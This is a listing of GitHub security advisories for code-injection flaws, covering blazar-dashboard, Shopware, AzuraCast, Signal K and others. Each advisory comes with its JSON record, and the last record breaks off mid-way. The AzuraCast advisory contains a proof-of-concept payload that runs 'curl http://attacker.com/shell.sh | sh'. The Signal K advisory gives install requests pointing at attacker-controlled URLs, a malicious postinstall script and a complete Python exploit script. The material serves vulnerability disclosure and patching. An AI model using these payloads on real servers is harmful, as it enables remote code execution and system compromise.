Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8358 vulnerabilities reference this CWE, most recent first.

GHSA-939M-4XPW-V34V

Vulnerability from github – Published: 2020-10-27 17:55 – Updated: 2024-09-06 16:25
VLAI
Summary
Arbitrary Code Execution in blazar-dashboard
Details

An issue was discovered in OpenStack blazar-dashboard before 1.3.1, 2.0.0, and 3.0.0. A user allowed to access the Blazar dashboard in Horizon may trigger code execution on the Horizon host as the user the Horizon service runs under (because the Python eval function is used). This may result in Horizon host unauthorized access and further compromise of the Horizon service. All setups using the Horizon dashboard with the blazar-dashboard plugin are affected.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
6.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "blazar-dashboard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "blazar-dashboard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0.0"
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "blazar-dashboard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26943"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-10-26T20:14:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in OpenStack blazar-dashboard before 1.3.1, 2.0.0, and 3.0.0. A user allowed to access the Blazar dashboard in Horizon may trigger code execution on the Horizon host as the user the Horizon service runs under (because the Python eval function is used). This may result in Horizon host unauthorized access and further compromise of the Horizon service. All setups using the Horizon dashboard with the blazar-dashboard plugin are affected.",
  "id": "GHSA-939m-4xpw-v34v",
  "modified": "2024-09-06T16:25:48Z",
  "published": "2020-10-27T17:55:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26943"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/blazar-dashboard/PYSEC-2020-225.yaml"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.net/bugs/1895688"
    },
    {
      "type": "WEB",
      "url": "https://review.opendev.org/755810"
    },
    {
      "type": "WEB",
      "url": "https://review.opendev.org/755812"
    },
    {
      "type": "WEB",
      "url": "https://review.opendev.org/755813"
    },
    {
      "type": "WEB",
      "url": "https://review.opendev.org/755814"
    },
    {
      "type": "WEB",
      "url": "https://review.opendev.org/756064"
    },
    {
      "type": "WEB",
      "url": "https://security.openstack.org/ossa/OSSA-2020-007.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/10/16/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Arbitrary Code Execution in blazar-dashboard"
}

GHSA-93CW-F5JJ-X85W

Vulnerability from github – Published: 2023-01-17 23:58 – Updated: 2023-01-25 18:04
VLAI
Summary
Shopware vulnerable to Improper Control of Generation of Code in Twig rendered views
Details

Impact

In Twig environment without the Sandbox extension, it is possible to refer to PHP functions in twig filters like map, filter, sort. This allows in the template to call any global PHP function.

Patches

The problem has been fixed with 6.4.18.1 with an override of the specified filters until the integration of the Sandbox extension has been finished.

Workarounds

For older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.

References

https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-01-2023?category=security-updates

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.4.18.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.4.18.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-22731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-17T23:58:06Z",
    "nvd_published_at": "2023-01-17T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nIn Twig environment **without the Sandbox extension**, it is possible to refer to PHP functions in twig filters like `map`, `filter`, `sort`. This allows in the template to call any global PHP function. \n\n### Patches\nThe problem has been fixed with 6.4.18.1 with an override of the specified filters until the integration of the Sandbox extension has been finished.\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\n### References\n\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-01-2023?category=security-updates\n\n",
  "id": "GHSA-93cw-f5jj-x85w",
  "modified": "2023-01-25T18:04:00Z",
  "published": "2023-01-17T23:58:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/platform/security/advisories/GHSA-93cw-f5jj-x85w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22731"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/platform/commit/89d1ea154689cb6202e0d3a0ceeae0febb0c09e1"
    },
    {
      "type": "WEB",
      "url": "https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-01-2023?category=security-updates"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/platform"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Shopware vulnerable to Improper Control of Generation of Code in Twig rendered views"
}

GHSA-93F3-C68J-FW9C

Vulnerability from github – Published: 2022-05-17 00:43 – Updated: 2022-05-17 00:43
VLAI
Details

PHP remote file inclusion vulnerability in slogin_lib.inc.php in Simple Text-File Login Script (SiTeFiLo) 1.0.6 allows remote attackers to execute arbitrary PHP code via a URL in the slogin_path parameter.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-5763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-12-30T20:30:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in slogin_lib.inc.php in Simple Text-File Login Script (SiTeFiLo) 1.0.6 allows remote attackers to execute arbitrary PHP code via a URL in the slogin_path parameter.",
  "id": "GHSA-93f3-c68j-fw9c",
  "modified": "2022-05-17T00:43:02Z",
  "published": "2022-05-17T00:43:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5763"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/7444"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/50711"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33110"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/32811"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-93FX-5QGC-WR38

Vulnerability from github – Published: 2026-03-09 19:55 – Updated: 2026-03-09 19:55
VLAI
Summary
AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs
Details

Summary

AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.

Root Cause

File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345

public static function cleanUpString(?string $string): string
{
    return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}

This function only replaces " with ' and strips newlines. It does NOT filter: - #{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings) - \ — Backslash escape character

Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.

Injection Points

All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:

Field Permission Required Config Line
playlist.remote_url Media input.http("...") or playlist("...")
station.name Profile name = "..."
station.description Profile description = "..."
station.genre Profile genre = "..."
station.url Profile url = "..."
backend_config.live_broadcast_text Profile settings.azuracast.live_broadcast_text := "..."
backend_config.dj_mount_point Profile input.harbor("...")

PoC 1: Via Remote Playlist URL (Media permission)

POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>

{
    "name": "Malicious Remote",
    "source": "remote_url",
    "remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
    "remote_type": "stream",
    "is_enabled": true
}

The generated liquidsoap.liq will contain:

mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))

When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.

PoC 2: Via Station Description (Profile permission)

PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>

{
    "name": "My Station",
    "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}

Generates:

description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"

Trigger Condition

The injection fires when the station is restarted, which happens during: - Normal station restart by any user with Broadcasting permission - System updates and maintenance - azuracast:radio:restart CLI command - Docker container restarts

Impact

  • Severity: Critical
  • Authentication: Required — any station-level user with Media or Profile permission
  • Impact: Full RCE on the AzuraCast server as the azuracast user
  • CWE: CWE-94 (Code Injection)

Recommended Fix

Update cleanUpString() to escape # and \:

public static function cleanUpString(?string $string): string
{
    return str_replace(
        ['"', "\n", "\r", '\\', '#'],
        ['\'', '', '', '\\\\', '\\#'],
        $string ?? ''
    );
}
Severity
8.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "azuracast/azuracast"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T19:55:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAzuraCast\u0027s `ConfigWriter::cleanUpString()` method fails to sanitize Liquidsoap string interpolation sequences (`#{...}`), allowing authenticated users with `StationPermissions::Media` or `StationPermissions::Profile` permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, `#{...}` expressions are evaluated, enabling arbitrary command execution via Liquidsoap\u0027s `process.run()` function.\n\n## Root Cause\n\n**File:** `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php`, line ~1345\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace([\u0027\"\u0027, \"\\n\", \"\\r\"], [\u0027\\\u0027\u0027, \u0027\u0027, \u0027\u0027], $string ?? \u0027\u0027);\n}\n```\n\nThis function only replaces `\"` with `\u0027` and strips newlines. It does **NOT** filter:\n- `#{...}` \u2014 Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\n- `\\` \u2014 Backslash escape character\n\nLiquidsoap, like Ruby, evaluates `#{expression}` inside double-quoted strings. `process.run()` in Liquidsoap executes shell commands.\n\n## Injection Points\n\nAll user-controllable fields that pass through `cleanUpString()` and are embedded in double-quoted strings in the `.liq` config:\n\n| Field | Permission Required | Config Line |\n|---|---|---|\n| `playlist.remote_url` | `Media` | `input.http(\"...\")` or `playlist(\"...\")` |\n| `station.name` | `Profile` | `name = \"...\"` |\n| `station.description` | `Profile` | `description = \"...\"` |\n| `station.genre` | `Profile` | `genre = \"...\"` |\n| `station.url` | `Profile` | `url = \"...\"` |\n| `backend_config.live_broadcast_text` | `Profile` | `settings.azuracast.live_broadcast_text := \"...\"` |\n| `backend_config.dj_mount_point` | `Profile` | `input.harbor(\"...\")` |\n\n## PoC 1: Via Remote Playlist URL (Media permission)\n\n```http\nPOST /api/station/1/playlists HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003cAPI_KEY_WITH_MEDIA_PERMISSION\u003e\n\n{\n    \"name\": \"Malicious Remote\",\n    \"source\": \"remote_url\",\n    \"remote_url\": \"http://x#{process.run(\u0027id \u003e /tmp/pwned\u0027)}.example.com/stream\",\n    \"remote_type\": \"stream\",\n    \"is_enabled\": true\n}\n```\n\nThe generated `liquidsoap.liq` will contain:\n```liquidsoap\nmksafe(buffer(buffer=5., input.http(\"http://x#{process.run(\u0027id \u003e /tmp/pwned\u0027)}.example.com/stream\")))\n```\n\nWhen Liquidsoap parses this, `process.run(\u0027id \u003e /tmp/pwned\u0027)` executes as the `azuracast` user.\n\n## PoC 2: Via Station Description (Profile permission)\n\n```http\nPUT /api/station/1/profile/edit HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003cAPI_KEY_WITH_PROFILE_PERMISSION\u003e\n\n{\n    \"name\": \"My Station\",\n    \"description\": \"#{process.run(\u0027curl http://attacker.com/shell.sh | sh\u0027)}\"\n}\n```\n\nGenerates:\n```liquidsoap\ndescription = \"#{process.run(\u0027curl http://attacker.com/shell.sh | sh\u0027)}\"\n```\n\n## Trigger Condition\n\nThe injection fires when the station is restarted, which happens during:\n- Normal station restart by any user with `Broadcasting` permission\n- System updates and maintenance\n- `azuracast:radio:restart` CLI command\n- Docker container restarts\n\n## Impact\n\n- **Severity:** Critical\n- **Authentication:** Required \u2014 any station-level user with `Media` or `Profile` permission\n- **Impact:** Full RCE on the AzuraCast server as the `azuracast` user\n- **CWE:** CWE-94 (Code Injection)\n\n## Recommended Fix\n\nUpdate `cleanUpString()` to escape `#` and `\\`:\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace(\n        [\u0027\"\u0027, \"\\n\", \"\\r\", \u0027\\\\\u0027, \u0027#\u0027],\n        [\u0027\\\u0027\u0027, \u0027\u0027, \u0027\u0027, \u0027\\\\\\\\\u0027, \u0027\\\\#\u0027],\n        $string ?? \u0027\u0027\n    );\n}\n```",
  "id": "GHSA-93fx-5qgc-wr38",
  "modified": "2026-03-09T19:55:00Z",
  "published": "2026-03-09T19:55:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-93fx-5qgc-wr38"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/commit/d04b5c55ce0d867bcb87f49f7082bf8edbcd360c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/commit/ff49ef4d0fa571a3661abff6d0a9546ba3ed5df5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AzuraCast/AzuraCast"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs"
}

GHSA-93G2-PF5Q-HQXR

Vulnerability from github – Published: 2025-03-10 15:30 – Updated: 2026-04-01 18:33
VLAI
Details

Improper Control of Generation of Code ('Code Injection') vulnerability in NotFound Fresh Framework allows Code Injection. This issue affects Fresh Framework: from n/a through 1.70.0.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-26936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-10T15:15:38Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in NotFound Fresh Framework allows Code Injection. This issue affects Fresh Framework: from n/a through 1.70.0.",
  "id": "GHSA-93g2-pf5q-hqxr",
  "modified": "2026-04-01T18:33:55Z",
  "published": "2025-03-10T15:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26936"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/fresh-framework/vulnerability/wordpress-fresh-framework-plugin-1-70-0-unauthenticated-remote-code-execution-rce-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-93G6-7V2R-H2R4

Vulnerability from github – Published: 2022-05-17 02:03 – Updated: 2025-04-11 03:43
VLAI
Details

CRLF injection vulnerability in chart.cgi in Bugzilla before 3.2.10, 3.4.x before 3.4.10, 3.6.x before 3.6.4, and 4.0.x before 4.0rc2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the query string, a different vulnerability than CVE-2010-2761 and CVE-2010-4411.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2010-4572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-01-28T16:00:00Z",
    "severity": "MODERATE"
  },
  "details": "CRLF injection vulnerability in chart.cgi in Bugzilla before 3.2.10, 3.4.x before 3.4.10, 3.6.x before 3.6.4, and 4.0.x before 4.0rc2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the query string, a different vulnerability than CVE-2010-2761 and CVE-2010-4411.",
  "id": "GHSA-93g6-7v2r-h2r4",
  "modified": "2025-04-11T03:43:24Z",
  "published": "2022-05-17T02:03:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4572"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=621572"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/65440"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-February/053665.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-February/053678.html"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/70703"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/43033"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/43165"
    },
    {
      "type": "WEB",
      "url": "http://www.bugzilla.org/security/3.2.9"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2011/dsa-2322"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/45982"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0207"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0271"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-93JC-VQQC-VVVH

Vulnerability from github – Published: 2026-01-02 15:23 – Updated: 2026-01-06 18:41
VLAI
Summary
Signal K Server Vulnerable to Remote Code Execution via Malicious npm Package
Details

The SignalK appstore interface allows administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any postinstall script defined in package.json, enabling arbitrary code execution.

The vulnerability exists because npm's version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious postinstall script.

Affected Code

File: src/interfaces/appstore.js (lines 46-76)

app.post(
  [
    `${SERVERROUTESPREFIX}/appstore/install/:name/:version`,
    `${SERVERROUTESPREFIX}/appstore/install/:org/:name/:version`
  ],
  (req, res) => {
    let name = req.params.name
    const version = req.params.version  // No validation on version format

    // ... validation only checks if package name exists ...

    installSKModule(name, version)  // Passes unsanitized version to npm
  }
)

File: src/modules.ts (lines 180-205)

if (name) {
  packageString = version ? `${name}@${version}` : name  // Direct concatenation
}

if (process.platform === 'win32') {
  npm = spawn('cmd', ['/c', `npm --save ${command} ${packageString}`], opts)
} else {
  npm = spawn('npm', ['--save', command, packageString], opts)
}

Impact

An attacker with admin credentials (obtained via the authentication bypass chain) can execute arbitrary commands on the server with the privileges of the SignalK process. This enables complete system compromise including data theft, backdoor installation, lateral movement, and denial of service.

A compromised server can inject malicious PGN messages onto the NMEA 2000 bus or forge NMEA 0183 sentences, affecting all connected devices. Attack scenarios include manipulating autopilot systems (Pypilot, Raymarine, Garmin) via the Autopilot API to alter vessel course, spoofing AIS messages to create phantom vessels on radar, altering GPS position data sent to chart plotters and autopilots, injecting false depth sounder readings, manipulating wind instrument data, or sending shutdown commands to electronically controlled engines via NMEA 2000. Many vessels expose SignalK to the internet for remote monitoring, making them globally accessible to attackers.

The vulnerability can be exploited using any of npm's flexible version specifier formats:

1. Real npm Package with Required Keyword

POST /skServer/appstore/install/malicious-signalk-plugin/1.0.0 HTTP/1.1
Host: localhost:3000
Authorization: Bearer <VALID_AUTH_TOKEN>
Content-Length: 0

Publishing a malicious package to the official npm registry with the signalk-node-server-plugin or signalk-webapp keyword allows us to install arbitrary npm packages using standard semantic versioning format (1.0.0). This is non-stealthy as the package is publicly visible, but can be leveraged to spread malware via npm's ecosystem, since such a package will show up on the webapp feed and other users might install it.

2. Real npm Package via npm Alias

POST /skServer/appstore/install/signalk-pushover-plugin/npm:malicious-package@1.0.0 HTTP/1.1
Host: localhost:3000
Authorization: Bearer <VALID_AUTH_TOKEN>
Content-Length: 0

The npm: prefix allows installing a package under a different name. For example, npm:malicious-package@1.0.0 installs malicious-package but references it as if it were the legitimate signalk-pushover-plugin. This obscures the actual package being installed from casual inspection, making it stealthier while still requiring npm publishing.

3. Package Hosted on GitHub (GitHub Shorthand)

POST /skServer/appstore/install/signalk-pushover-plugin/attacker%2Fmalicious-plugin HTTP/1.1
Host: localhost:3000
Authorization: Bearer <VALID_AUTH_TOKEN>
Content-Length: 0

The format username/repo (URL-encoded as attacker%2Fmalicious-plugin) is shorthand for github:username/repo. npm automatically fetches the repository from GitHub, extracts it, and runs npm install. If the repo contains a postinstall script, it executes. The repository must contain a valid package.json with the malicious script.

4. Package Hosted on Attacker-Controlled Git Server (git+ Protocol)

POST /skServer/appstore/install/signalk-pushover-plugin/git%2Bhttps:%2F%2Fattacker.com%2Fmalicious-plugin.git HTTP/1.1
Host: localhost:3000
Authorization: Bearer <VALID_AUTH_TOKEN>
Content-Length: 0

The git+https:// or git+ssh:// prefix tells npm to clone a git repository. This works with any git server, not just GitHub. The attacker has full control over the repository contents and can update it at any time. This provides maximum control over the package source without relying on third-party services.

5. Package Hosted on Attacker Webserver as Tarball

POST /skServer/appstore/install/signalk-pushover-plugin/http:%2F%2Fattacker.com%2Fpkg.tgz HTTP/1.1
Host: localhost:3000
Authorization: Bearer <VALID_AUTH_TOKEN>
Content-Length: 0

The http:// or https:// URL pointing to a .tgz file tells npm to download and extract the tarball. This is the most flexible method as it requires no external service dependencies - the attacker controls both the package contents and the hosting infrastructure. No git repository or npm registry account needed.

All methods result in npm executing the postinstall script from the attacker-controlled package. A malicious npm package requires only two files to achieve RCE:

package.json - Defines the package metadata and the malicious script:

{
  "name": "signalk-evil-plugin",
  "version": "1.0.0",
  "keywords": ["signalk-node-server-plugin"],
  "scripts": {
    "postinstall": "node -e \"require('child_process').exec('calc.exe')\""
  }
}

The postinstall script executes automatically after npm installs the package.

index.js - Minimal plugin implementation to avoid errors:

module.exports = function(app) {
  return {
    id: 'evil-plugin',
    name: 'Evil Plugin',
    start: function() {},
    stop: function() {}
  }
}

PoC using the tarball variant of the exploit

import requests
import tarfile
import json
import io
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import quote

TARGET = "http://localhost:3000"
ATTACKER_IP = "localhost"
ATTACKER_PORT = 9999
RCE_COMMAND = "calc.exe"  # Windows; use "id > /tmp/pwned" for Linux
TOKEN = "<VALID_AUTH_TOKEN>"

def create_malicious_tarball():
    package_json = {
        "name": "signalk-evil-plugin",
        "version": "1.0.0",
        "keywords": ["signalk-node-server-plugin"],
        "scripts": {
            "postinstall": f"node -e \"require('child_process').exec('{RCE_COMMAND}')\""
        }
    }

    index_js = b"module.exports = function(app) { return { id: 'evil', start: function(){}, stop: function(){} } }"

    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
        # Add package.json
        pkg_data = json.dumps(package_json, indent=2).encode()
        pkg_info = tarfile.TarInfo(name="package/package.json")
        pkg_info.size = len(pkg_data)
        tar.addfile(pkg_info, io.BytesIO(pkg_data))

        # Add index.js
        idx_info = tarfile.TarInfo(name="package/index.js")
        idx_info.size = len(index_js)
        tar.addfile(idx_info, io.BytesIO(index_js))

    return tar_buffer.getvalue()

def start_malicious_server(tarball_data):
    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            print(f"[+] Victim fetched malicious package!")
            self.send_response(200)
            self.send_header("Content-Type", "application/gzip")
            self.send_header("Content-Length", len(tarball_data))
            self.end_headers()
            self.wfile.write(tarball_data)

        def log_message(self, *args):
            pass

    server = HTTPServer(("0.0.0.0", ATTACKER_PORT), Handler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    print(f"[+] Malicious server running on port {ATTACKER_PORT}")
    return server

def trigger_rce(token):
    tarball_url = f"http://{ATTACKER_IP}:{ATTACKER_PORT}/package.tgz"
    encoded_url = quote(tarball_url, safe='')

    url = f"{TARGET}/skServer/appstore/install/signalk-pushover-plugin/{encoded_url}"

    headers = {"Authorization": f"Bearer {token}"}

    print(f"[*] Triggering installation from {tarball_url}")
    r = requests.post(url, headers=headers)
    print(f"[+] Response: {r.status_code} - {r.text}")

if __name__ == "__main__":
    tarball = create_malicious_tarball()
    print(f"[+] Created malicious tarball ({len(tarball)} bytes)")

    start_malicious_server(tarball)
    trigger_rce(TOKEN)

Recommendation

  1. Restrict package installation to the official npm registry only by validating that version parameters match semver format
  2. Use npm's --ignore-scripts flag to prevent automatic script execution
  3. Implement an allowlist of approved packages
  4. Consider sandboxing the package installation process

While we understand that allowing 3rd party plugin installation is an intended functionality we believe that more secure practices must be applied to the whole process given the operational importance a SignalK instance can have onboard a vessel and it's rise in polularity.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
7.3 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "signalk-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T15:23:39Z",
    "nvd_published_at": "2026-01-01T19:15:53Z",
    "severity": "HIGH"
  },
